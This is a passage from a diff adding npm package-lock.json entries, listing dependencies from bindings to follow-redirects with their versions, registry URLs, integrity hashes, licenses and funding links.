}, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/bindings": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", + "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==", + "license": "MIT", + "dependencies": { + "file-uri-to-path": "1.0.0" + } + }, + "node_modules/bl": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "license": "MIT", + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/bl/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "license": "MIT", + "optional": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/buffer-crc32": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-1.0.0.tgz", + "integrity": "sha512-Db1SbgBS/fg/392AblrMJk97KggmvYhr4pB5ZIMTWtaivCPMWLkmb7m21cJvpvgK+J3nsU2CmmixNBZx4vFj/w==", + "license": "MIT", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/cacache": { + "version": "15.3.0", + "resolved": "https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz", + "integrity": "sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "@npmcli/fs": "^1.0.0", + "@npmcli/move-file": "^1.0.1", + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "glob": "^7.1.4", + "infer-owner": "^1.0.4", + "lru-cache": "^6.0.0", + "minipass": "^3.1.1", + "minipass-collect": "^1.0.2", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.2", + "mkdirp": "^1.0.3", + "p-map": "^4.0.0", + "promise-inflight": "^1.0.1", + "rimraf": "^3.0.2", + "ssri": "^8.0.1", + "tar": "^6.0.2", + "unique-filename": "^1.1.1" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/chownr": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", + "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/color-support": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", + "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==", + "license": "ISC", + "optional": true, + "bin": { + "color-support": "bin.js" + } + }, + "node_modules/colors": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz", + "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==", + "license": "MIT", + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/compress-commons": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-6.0.2.tgz", + "integrity": "sha512-6FqVXeETqWPoGcfzrXb37E50NP0LXT8kAMu5ooZayhWWdgEY4lBEEcbQNXtkuKQsGduxiIcI4gOTsxTmuq/bSg==", + "license": "MIT", + "dependencies": { + "crc-32": "^1.2.0", + "crc32-stream": "^6.0.0", + "is-stream": "^2.0.1", + "normalize-path": "^3.0.0", + "readable-stream": "^4.0.0" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/compress-commons/node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/compress-commons/node_modules/readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "license": "MIT", + "dependencies": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/compress-commons/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/compress-commons/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "license": "MIT", + "optional": true + }, + "node_modules/console-control-strings": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", + "integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==", + "license": "ISC", + "optional": true + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", + "license": "MIT" + }, + "node_modules/cosmiconfig": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-9.0.0.tgz", + "integrity": "sha512-itvL5h8RETACmOTFc4UfIyB2RfEHi71Ax6E/PivVxq9NseKbOWpeyHEOIbmAw1rs8Ak0VursQNww7lf7YtUwzg==", + "license": "MIT", + "dependencies": { + "env-paths": "^2.2.1", + "import-fresh": "^3.3.0", + "js-yaml": "^4.1.0", + "parse-json": "^5.2.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/d-fischer" + }, + "peerDependencies": { + "typescript": ">=4.9.5" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/crc-32": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/crc-32/-/crc-32-1.2.2.tgz", + "integrity": "sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==", + "license": "Apache-2.0", + "bin": { + "crc32": "bin/crc32.njs" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/crc32-stream": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-6.0.0.tgz", + "integrity": "sha512-piICUB6ei4IlTv1+653yq5+KoqfBYmj9bw6LqXoOneTMDXk5nM1qt12mFW1caG3LlJXEKW1Bp0WggEmIfQB34g==", + "license": "MIT", + "dependencies": { + "crc-32": "^1.2.0", + "readable-stream": "^4.0.0" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/crc32-stream/node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/crc32-stream/node_modules/readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "license": "MIT", + "dependencies": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/crc32-stream/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/crc32-stream/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "license": "MIT", + "dependencies": { + "mimic-response": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "license": "MIT", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/delegates": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", + "integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==", + "license": "MIT", + "optional": true + }, + "node_modules/detect-libc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=8" + } + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "license": "MIT" + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" + }, + "node_modules/encoding": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz", + "integrity": "sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==", + "license": "MIT", + "optional": true, + "dependencies": { + "iconv-lite": "^0.6.2" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.5", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", + "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==", + "license": "MIT", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/env-paths": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", + "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/err-code": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", + "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==", + "license": "MIT", + "optional": true + }, + "node_modules/error-ex": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.4.tgz", + "integrity": "sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ==", + "license": "MIT", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/event-target-shim": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz", + "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "license": "MIT", + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/events-universal": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/events-universal/-/events-universal-1.0.1.tgz", + "integrity": "sha512-LUd5euvbMLpwOF8m6ivPCbhQeSiYVNb8Vs0fQ8QjXo0JTkEHpz8pxdQf0gStltaPpw0Cca8b39KxvK9cfKRiAw==", + "license": "Apache-2.0", + "dependencies": { + "bare-events": "^2.7.0" + } + }, + "node_modules/expand-template": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz", + "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==", + "license": "(MIT OR WTFPL)", + "engines": { + "node": ">=6" + } + }, + "node_modules/fast-fifo": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/fast-fifo/-/fast-fifo-1.3.2.tgz", + "integrity": "sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==", + "license": "MIT" + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fastq": { + "version": "1.19.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.19.1.tgz", + "integrity": "sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/file-uri-to-path": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", + "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", + "license": "MIT" + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/follow-redirects": { + "version": "1.15.11", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", + "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/foreground-child": { + "version": 